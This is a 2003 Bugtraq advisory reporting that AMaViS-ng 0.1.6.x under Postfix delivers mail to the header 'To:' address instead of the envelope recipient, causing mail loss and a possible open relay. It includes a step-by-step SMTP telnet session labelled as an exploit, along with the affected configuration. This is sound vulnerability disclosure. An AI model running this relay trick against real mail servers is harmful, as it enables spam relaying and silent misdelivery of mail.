[29697] in bugtraq
AMaViS-ng 0.1.6.x and postfix: possible open relay and mail loss
daemon@ATHENA.MIT.EDU (Phil Cyc)
Tue Apr 8 12:54:45 2003
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From: Phil Cyc <ajEA3UMBepQ4MRExDmm0qbFeeQEJtffpg.1@protected.unixadm.org>
To: bugtraq@securityfocus.com
Date: Mon, 7 Apr 2003 14:23:47 +0200
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Hi everyone -
with postfix using AMaViS-ng 0.1.6.x (tested: 0.1.6.2 and 0.1.6.3; 0.1.4.x is
not vulnerable), all email gets forwarded to the address specified by the
"To:" header line, ignoring the real recipient given via "RCPT TO:".
Possible exploit:
--%snip%--
#> telnet somemx.domain.tld 25
(220 somemx.domain.tld ESMTP Postfix)
helo amavis-ng
(250 somemx.domain.tld)
mail from:userX@domainX.tld
(250 ok)
rcpt to:userY@domain.tld
(250 ok)
data
(354 End data with <CR><LF>.<CR><LF>)
From: userX@domainX.tld
To: userZ@domainZ.tld
Subject: AMaViS-ng 0.1.6.x bug
.
(250 Ok: queued as ...)
quit
(221 Bye)
--%snip%--
Requirements: The mx (somemx.domain.tld) having postfix and AMaViS-ng 0.1.6.x
installed must accept emails for userY@domain.tld.
What does it to:
userX@domainX.tld is sending an email to userY@domain.tld. The header of this
email contains "To: userZ@domain.tld". AMaViS-ng seems to parse the header
and forwards the email to userZ@domain.tld. userY@domain.tld does not get
this email.
As many postfix users trust their localhost (no restrictions for localhost),
it is possible to relay an email or a spam mail this way.
configuration files (relevant parts):
# $postfix/master.cf
smtp inet n - n - - smtpd -o content_filter=filter:
filter unix - n n - - pipe
flags=Rq user=mail argv=/usr/bin/amavis ${sender} -- ${recipient}
# end of master.cf
# $amavis-ng/amavis.conf
[global]
mail-transfer-agent = Postfix
[Postfix]
postfix = /usr/sbin/sendmail
args = -i -f
# end of amavis.conf
There is no problem with AMaViS == 0.1.4.x
Kind regards,
Phil Cyc
